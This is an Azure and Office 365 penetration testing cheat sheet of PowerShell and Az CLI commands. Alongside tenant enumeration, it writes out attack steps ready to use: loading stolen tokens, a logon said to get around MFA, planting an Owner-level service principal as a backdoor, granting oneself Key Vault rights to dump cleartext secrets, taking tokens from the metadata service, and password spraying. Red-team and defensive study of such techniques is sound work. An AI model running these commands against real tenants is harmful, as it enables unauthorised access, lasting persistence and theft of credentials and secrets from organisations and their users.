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Azure Penetration Testing Cheat sheet

Microsoft Azure & O365 CLI Tool Cheatsheet

By Beau Bullock (@dafthack)

Az PowerShell Module 

Import-Module Az
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Authentication 

Connect-AzAccount

## Or this way sometimes gets around MFA restrictions

$credential = Get-Credential
Connect-AzAccount -Credential $credential
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Import a context file

Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json'
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Export a context file

Save-AzContext -Path C:\Temp\AzureAccessToken.json
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Account Information

List the current Azure contexts available

Get-AzContext -ListAvailable
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Get context details

$context = Get-AzContext
$context.Name
$context.Account
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List subscriptions

Get-AzSubscription
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Choose a subscription

Select-AzSubscription -SubscriptionID "SubscriptionID"
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Get the current user's role assignment

Get-AzRoleAssignment
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List all resources and resource groups

Get-AzResource
Get-AzResourceGroup
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List storage accounts

Get-AzStorageAccount
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WebApps & SQL

List Azure web applications

Get-AzAdApplication
Get-AzWebApp
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List SQL servers

Get-AzSQLServer
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Individual databases can be listed with information retrieved from the previous command

Get-AzSqlDatabase -ServerName $ServerName -ResourceGroupName $ResourceGroupName
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List SQL Firewall rules

Get-AzSqlServerFirewallRule –ServerName $ServerName -ResourceGroupName $ResourceGroupName
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List SQL Server AD Admins

Get-AzSqlServerActiveDirectoryAdminstrator -ServerName $ServerName -ResourceGroupName $ResourceGroupName
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Runbooks

List Azure Runbooks

Get-AzAutomationAccount
Get-AzAutomationRunbook -AutomationAccountName <AutomationAccountName> -ResourceGroupName <ResourceGroupName>
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Export a runbook with:

Export-AzAutomationRunbook -AutomationAccountName $AccountName -ResourceGroupName $ResourceGroupName -Name $RunbookName -OutputFolder .\Desktop\
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Virtual Machines

List VMs and get OS details

Get-AzVM
$vm = Get-AzVM -Name "VM Name" 
$vm.OSProfile
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Run commands on VMs

Invoke-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName $VMName -CommandId RunPowerShellScript -ScriptPath ./powershell-script.ps1
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Networking

List virtual networks

Get-AzVirtualNetwork
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List public IP addresses assigned to virtual NICs

Get-AzPublicIpAddress
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Get Azure ExpressRoute (VPN) Info

Get-AzExpressRouteCircuit
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Backdoors

Create a new Azure service principal as a backdoor

$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$spn
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
$UnsecureSecret
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
#Enter the AppID as username and what was returned for $UnsecureSecret as the password in the Get-Credential prompt
$cred = Get-Credential
Connect-AzAccount -Credential $cred -Tenant “tenant ID" -ServicePrincipal
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MSOnline PowerShell Module 

Import-Module MSOnline
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Authentication 

Connect-MsolService

## Or this way sometimes gets around MFA restrictions

$credential = Get-Credential
Connect-MsolService -Credential $credential
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Account and Directory Information

List Company Information

Get-MSolCompanyInformation
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List all users

Get-MSolUser -All
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List all groups

Get-MSolGroup -All
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List members of a group (Global Admins in this case)

Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember –GroupObjectId $GUID
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List all user attributes

Get-MSolUser –All | fl
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List Service Principals

Get-MsolServicePrincipal
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One-liner to search all Azure AD user attributes for passwords

$users = Get-MsolUser; foreach($user in $users){$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; foreach($prop in $props){if($user.$prop -like "*password*"){Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)}}}
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Az CLI Tool

Authentication 

az login
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Dump Azure Key Vaults

List out any key vault resources the current account can view

az keyvault list –query '[].name' --output tsv
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With contributor level access you can give yourself the right permissions to obtain secrets.

az keyvault set-policy --name <KeyVaultname> --upn <YourContributorUsername> --secret-permissions get list --key-permissions get list --storage-permissions get list --certificate-permissions get list
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Get URI for Key Vault

az keyvault secret list --vault-name <KeyVaultName> --query '[].id' --output tsv
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Get cleartext secret from keyvault

az keyvault secret show --id <URI from last command> | ConvertFrom-Json
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Metadata Service URL 

http://169.254.169.254/metadata
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Get access tokens from the metadata service

GET 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true
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Other Azure & O365 Tools

MicroBurst

Azure security assessment tool

https://github.com/NetSPI/MicroBurst

Look for open storage blobs

Invoke-EnumerateAzureBlobs -Base $BaseName
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Export SSL/TLS certs

Get-AzPasswords -ExportCerts Y
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Azure Container Registry dump

Get-AzPasswords
Get-AzACR
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PowerZure

Azure security assessment tool

https://github.com/hausec/PowerZure

ROADTools

Framework to interact with Azure AD

https://github.com/dirkjanm/ROADtools

Stormspotter

Red team tool for graphing Azure and Azure AD objects

https://github.com/Azure/Stormspotter

MSOLSpray

Tool to password spray Azure/O365

https://github.com/dafthack

Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Spring2020
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Penetration testing companies can provide you with the expertise and resources you need to test your Azure environment and identify any security vulnerabilities. They will work with you to develop a custom testing plan that meets your specific needs and budget.

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